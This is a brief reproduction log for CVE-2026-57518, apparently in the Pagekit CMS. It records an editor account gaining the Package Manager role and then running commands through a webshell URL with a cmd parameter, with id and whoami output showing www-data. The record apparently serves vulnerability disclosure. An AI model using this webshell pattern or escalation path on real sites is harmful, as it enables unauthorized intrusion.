=== CVE-2026-57518 Reproduction Evidence === Date: Sun Jul 5 14:02:19 UTC 2026 --- Step 3: Privilege Escalation --- Editor user ID: 2 Package Manager role ID: 4 User Manager role ID: 5 Editor roles after escalation: "roles":[2,4] --- Step 6: RCE --- Webshell URL: /packages/pagekit/shell/index.php?cmd=id id output: uid=33(www-data) gid=33(www-data) groups=33(www-data) whoami output: www-data